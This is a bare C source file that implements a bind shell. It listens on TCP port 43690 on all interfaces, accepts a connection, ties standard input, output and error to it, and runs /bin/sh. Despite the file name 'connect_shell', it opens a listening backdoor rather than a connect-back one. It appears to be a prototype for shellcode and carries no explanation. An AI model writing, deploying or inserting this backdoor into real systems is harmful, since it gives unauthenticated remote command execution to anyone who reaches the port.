connect_shell.c

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc, cli;
struct sockaddr_in serv_addr;

int main(void) {
  soc = socket(2, 1, 0);
  serv_addr.sin_addr.s_addr = 0;
  serv_addr.sin_port = 43690;
  serv_addr.sin_family = 2;
  bind(soc, (struct sockaddr *)&serv_addr, 16);
  listen(soc ,1);
  cli = accept(soc, 0, 0);
  dup2(cli, 0);
  dup2(cli, 1);
  dup2(cli, 2);
  execve("/bin/sh", 0, 0);
}